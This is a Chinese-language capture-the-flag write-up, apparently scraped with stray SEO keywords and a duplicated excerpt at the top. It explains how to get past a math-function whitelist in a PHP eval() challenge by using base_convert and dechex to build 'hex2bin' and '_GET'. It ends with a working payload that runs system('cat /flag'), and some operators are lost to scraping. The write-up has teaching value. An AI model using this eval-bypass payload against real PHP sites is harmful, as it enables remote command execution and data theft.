新乡市建设局网站,企业营销策划,什么样的网站不备案,传统网站有没有建设必要性这题主要利用了php的一些特性
变量函数数字转字符串
源码
?php
error_reporting(0);
//听说你很喜欢数学#xff0c;不知道你是否爱它胜过爱flag
if(!isset($_GET[c])){show_source(__FILE__);
}else{//例子 c20-1$content $_GET[c];if (strlen($content) 80) {…这题主要利用了php的一些特性
变量函数数字转字符串
源码
?php
error_reporting(0);
//听说你很喜欢数学不知道你是否爱它胜过爱flag
if(!isset($_GET[c])){show_source(__FILE__);
}else{//例子 c20-1$content $_GET[c];if (strlen($content) 80) {die(太长了不会算);}$blacklist [ , \t, \r, \n,\, , , \[, \]];foreach ($blacklist as $blackitem) {if (preg_match(/ . $blackitem . /m, $content)) {die(请不要输入奇奇怪怪的字符);}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist [abs, acos, acosh, asin, asinh, atan2, atan, atanh, base_convert, bindec, ceil, cos, cosh, decbin, dechex, decoct, deg2rad, exp, expm1, floor, fmod, getrandmax, hexdec, hypot, is_finite, is_infinite, is_nan, lcg_value, log10, log1p, log, max, min, mt_getrandmax, mt_rand, mt_srand, octdec, pi, pow, rad2deg, rand, round, sin, sinh, sqrt, srand, tan, tanh];preg_match_all(/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/, $content, $used_funcs); foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die(请不要输入奇奇怪怪的函数);}}//帮你算出答案eval(echo .$content.;);
}该php的功能是数值计算数值计算可以使用指定的php数学函数数学函数由 http://www.w3school.com.cn/php/php_ref_math.asp这个链接的函数来指定
该题采用了黑名单和白名单的方式来过滤
思路
这里采用可变字符来执行函数
$_GET[a]($_GET[b])但是_GET会被白名单检测这里需要绕过白名单 这里将 _GET16进制编码 得到5f474554 这样我们就可以通过 hex2bin将5f474554转换为_GET
# dechex(1598506324) - 5f474554
hex2bin(dechex(1598506324))同样hex2bin并不在白名单中但是白名单中有一个函数可以利用就是 base_convert
base_convert
base_convert(string $num, int $from_base, int $to_base): string接收一个字符串数字并且指定进制转换,from_base和to_base都只能在 2 和 36 之间包括 2 和 36,高于十进制的数字用字母 a-z 表示 什么意思呢 这里举个例子
echo base_convert(a37334, 16, 2);这里16指示 a37334是一串16进制字符串要转换为2进制 base_convert最高可以支持36进制什么意思呢
10 - a 11 - b 12 - c ... 17 - h
一直到z 也就是说我们只需要在10进制转换成36进制得出hex2bin即可
base_convert(hex2bin,36,10);
base_convert(37907361743,10,36);执行$_GET
$pibase_convert(37907361743,10,36)(dechex(1598506324)) # _GET$$g 代表 $_GET 由于 []被黑名单禁用所以这里使用 {} 取键来执行版本 php8
payload
?c$pibase_convert(37907361743,10,36)(dechex(1598506324));$$pi{0}($$pi{1})0system1cat /flag